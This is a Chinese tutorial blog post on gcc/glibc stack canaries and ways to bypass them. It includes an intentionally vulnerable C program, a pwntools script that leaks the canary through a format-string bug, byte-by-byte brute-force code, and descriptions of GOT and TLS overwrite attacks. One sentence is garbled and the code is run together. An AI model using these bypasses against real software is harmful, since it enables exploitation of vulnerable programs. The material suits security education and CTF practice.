Canary机制及绕过策略

2023-11-10 19:59
文章标签 策略 机制 绕过 canary

本文主要是介绍Canary机制及绕过策略,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Canary机制

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段(只是缓解机制,不能彻底的阻止),当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

Canary原理

gcc相关参数及意义
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护
栈结构

开启Canary保护的stack的结构如下:

    HighAddress |                 |+-----------------+| args            |+-----------------+| return address  |+-----------------+rbp =>  | old ebp         |+-----------------+rbp-8 =>  | canary value    |+-----------------+| local variables |Low     |                 |Address

Canary绕过技术

格式化字符串漏洞引发的Canary泄漏

格式化字符串漏洞的内容在这里进行了介绍。

演示代码

下面写一个具有格式化漏洞的程序testPrint.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>void vul(char *msg_orig)
{char msg[128];memcpy(msg,msg_orig,128);printf(msg);char shellcode[64];puts("Now ,plz give me your shellcode:");read(0,shellcode,256);}int main()
{puts("So plz leave your message:");char msg[128];memset(msg,0,128);read(0,msg,128);vul(msg);puts("Bye!");return 0;}

在这里printf存在格式化字符串漏洞,有机可乘呀!!!
编译:

gcc -m32 -ggdb -z execstack -fstack-protector -no-pie -o pwnme testPrint.c

参数fstack-protector 代表启用保护,不过只为局部变量中含有数组的函数插入保护。

逆向分析

对pwnme进行反汇编:
在这里插入图片描述通过下面的汇编代码,可知Canary的值存储在gs:[0x14]的位置。gs寄存器实际指向的是当前栈的 TLS 结构,fs:0x14 指向的正是 stack_guard。

typedef struct
{void *tcb;        /* Pointer to the TCB.  Not necessarily thethread descriptor used by libpthread.  */dtv_t *dtv;void *self;       /* Pointer to the thread descriptor.  */int multiple_threads;uintptr_t sysinfo;uintptr_t stack_guard;...
} tcbhead_t;

事实上,TLS 中的值由函数 security_init 进行初始化,因此Canary的值是随机的。

static void
security_init (void)
{// _dl_random的值在进入这个函数的时候就已经由kernel写入.// glibc直接使用了_dl_random的值并没有给赋值// 如果不采用这种模式, glibc也可以自己产生随机数//将_dl_random的最后一个字节设置为0x0uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);// 设置Canary的值到TLS中THREAD_SET_STACK_GUARD (stack_chk_guard);_dl_random = NULL;
}//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

函数开始的时候,先把Canary的值放入栈中(ebp-0x1c),当函数结束的时候,检查栈中的数据是否和gs:[0x14]中的值相等,如果不相等,则说明这个值被修改过,程序会调用__stack_chk_fail_local。如果相等,则正常进行退出。

0x08048536      65a114000000   mov eax, dword gs:[0x14]    ; testPrint.c:7 {
0x0804853c      8945e4         mov dword [var_1ch], eax
. . . 
0x08048598      8b45e4         mov eax, dword [var_1ch]
0x0804859b      653305140000.  xor eax, dword gs:[0x14]
0x080485a2      7405           je 0x80485a9
0x080485a4      e837010000     call sym.__stack_chk_fail_local

通过上面的分析可知,如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

漏洞分析

在print处下断点,执行,输入aaaa,查看堆栈信息

[0xf7fd6c70]> dcu 0x08048564
Continue until 0x08048564 using 1 bpsize
aaaa
hit breakpoint at: 8048564
[0x08048564]> px @ esp
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffffce20  8cce ffff 0100 0000 1004 fdf7 2785 0408  ............'...
0xffffce30  0000 0000 0100 0000 40d9 fff7 4ccf ffff  ........@...L...
0xffffce40  805d fbf7 6038 fbf7 0000 0000 00d0 fff7  .]..`8..........
0xffffce50  0000 0000 30dc fff7 acce ffff a8ce ffff  ....0...........
0xffffce60  0100 0000 0000 0000 7939 e5f7 4b3b e5f7  ........y9..K;..
0xffffce70  60b1 0408 ffff ffff 1a00 0000 787e def7  `...........x~..
0xffffce80  1001 fdf7 d439 fbf7 0050 fbf7 6161 6161  .....9...P..aaaa
0xffffce90  0a00 0000 0000 0000 0000 0000 0000 0000  ................
0xffffcea0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0xffffceb0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0xffffcec0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0xffffced0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0xffffcee0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0xffffcef0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0xffffcf00  0000 0000 0000 0000 0000 0000 001c 7cf4  ..............|.
0xffffcf10  d8cf ffff a0ad fef7 cccf ffff 00a0 0408  ................

观察aaaa在堆栈的偏移。在0x0804859b(Canary检查)的地方下断点,输入bbbbb,查看eax的值,也就是Canary的值。

[0x08048564]> dcu 0x0804859b
Continue until 0x0804859b using 1 bpsize                                        child stopped with signal 28
[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0
bbbbb
hit breakpoint at: 804859b
[0x0804859b]> dr
eax = 0xf47c1c00
ebx = 0x0804a000
ecx = 0xffffce4c
edx = 0x00000100
esi = 0xffffcfcc
edi = 0xffffcf0c
esp = 0xffffce30
ebp = 0xffffcf28
eip = 0x0804859b
eflags = 0x00000286
oeax = 0xffffffff

eax的值是不是有点眼熟。对的就是在printf断点的第59偏移位置的"001c 7cf4"。为什么是反的?这个是体系结构的问题,这里使用的是小端字节序。那如果我们输入’%59 x ′ 岂 不 是 就 能 获 得 C a n a r y 的 值 了 吗 ? 答 案 是 肯 定 的 。 其 中 ′ x'岂不是就能获得Canary的值了吗?答案是肯定的。其中'%59 xCanaryx’的意思是获得第59个偏移的十六进制数。
具体过程如下面所示:
在这里插入图片描述
查看输出重定向文件,可看出Canary的值被打印出来了。
在这里插入图片描述

注入程序
#-*- coding: UTF-8 -*- 
from pwn import *p = process('./pwnme')buf = '%59$x'                                                  #构建泄露Canary的格式化字符串
p.recvuntil("message:\n")
p.sendline(buf)                                                  #发送ret_msg = p.recvuntil('\n')
canary = int(ret_msg,16)                                        #接收到返回的Cannary的值 
print hex(canary)

运行结果如下:
在这里插入图片描述Canary的值被成功的获取,由此我们可以用这个值填充到对应的位置,绕过Canary的检查,通过shellcode执行我们向执行的代码。shellode的利用看这里。

one-by-one 爆破 Canary

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:

print "[+] Brute forcing stack canary "start = len(p)
stop = len(p)+8while len(p) < stop:for i in xrange(0,256):res = send2server(p + chr(i))if res != "":p = p + chr(i)#print "\t[+] Byte found 0x%02x" % ibreakif i == 255:print "[-] Exploit failed"sys.exit(-1)canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary
劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数,__stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数

参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

公众号

在这里插入图片描述

这篇关于Canary机制及绕过策略的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/384910

相关文章

PostgreSQL中MVCC 机制的实现

《PostgreSQL中MVCC机制的实现》本文主要介绍了PostgreSQL中MVCC机制的实现,通过多版本数据存储、快照隔离和事务ID管理实现高并发读写,具有一定的参考价值,感兴趣的可以了解一下... 目录一 MVCC 基本原理python1.1 MVCC 核心概念1.2 与传统锁机制对比二 Postg

Maven 配置中的 <mirror>绕过 HTTP 阻断机制的方法

《Maven配置中的<mirror>绕过HTTP阻断机制的方法》:本文主要介绍Maven配置中的<mirror>绕过HTTP阻断机制的方法,本文给大家分享问题原因及解决方案,感兴趣的朋友一... 目录一、问题场景:升级 Maven 后构建失败二、解决方案:通过 <mirror> 配置覆盖默认行为1. 配置示

Redis过期删除机制与内存淘汰策略的解析指南

《Redis过期删除机制与内存淘汰策略的解析指南》在使用Redis构建缓存系统时,很多开发者只设置了EXPIRE但却忽略了背后Redis的过期删除机制与内存淘汰策略,下面小编就来和大家详细介绍一下... 目录1、简述2、Redis http://www.chinasem.cn的过期删除策略(Key Expir

Go语言中Recover机制的使用

《Go语言中Recover机制的使用》Go语言的recover机制通过defer函数捕获panic,实现异常恢复与程序稳定性,具有一定的参考价值,感兴趣的可以了解一下... 目录引言Recover 的基本概念基本代码示例简单的 Recover 示例嵌套函数中的 Recover项目场景中的应用Web 服务器中

Jvm sandbox mock机制的实践过程

《Jvmsandboxmock机制的实践过程》:本文主要介绍Jvmsandboxmock机制的实践过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、背景二、定义一个损坏的钟1、 Springboot工程中创建一个Clock类2、 添加一个Controller

利用Python实现时间序列动量策略

《利用Python实现时间序列动量策略》时间序列动量策略作为量化交易领域中最为持久且被深入研究的策略类型之一,其核心理念相对简明:对于显示上升趋势的资产建立多头头寸,对于呈现下降趋势的资产建立空头头寸... 目录引言传统策略面临的风险管理挑战波动率调整机制:实现风险标准化策略实施的技术细节波动率调整的战略价

Dubbo之SPI机制的实现原理和优势分析

《Dubbo之SPI机制的实现原理和优势分析》:本文主要介绍Dubbo之SPI机制的实现原理和优势,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Dubbo中SPI机制的实现原理和优势JDK 中的 SPI 机制解析Dubbo 中的 SPI 机制解析总结Dubbo中

Java 的 Condition 接口与等待通知机制详解

《Java的Condition接口与等待通知机制详解》在Java并发编程里,实现线程间的协作与同步是极为关键的任务,本文将深入探究Condition接口及其背后的等待通知机制,感兴趣的朋友一起看... 目录一、引言二、Condition 接口概述2.1 基本概念2.2 与 Object 类等待通知方法的区别

嵌入式Linux驱动中的异步通知机制详解

《嵌入式Linux驱动中的异步通知机制详解》:本文主要介绍嵌入式Linux驱动中的异步通知机制,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、异步通知的核心概念1. 什么是异步通知2. 异步通知的关键组件二、异步通知的实现原理三、代码示例分析1. 设备结构

JVM垃圾回收机制之GC解读

《JVM垃圾回收机制之GC解读》:本文主要介绍JVM垃圾回收机制之GC,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、死亡对象的判断算法1.1 引用计数算法1.2 可达性分析算法二、垃圾回收算法2.1 标记-清除算法2.2 复制算法2.3 标记-整理算法2.4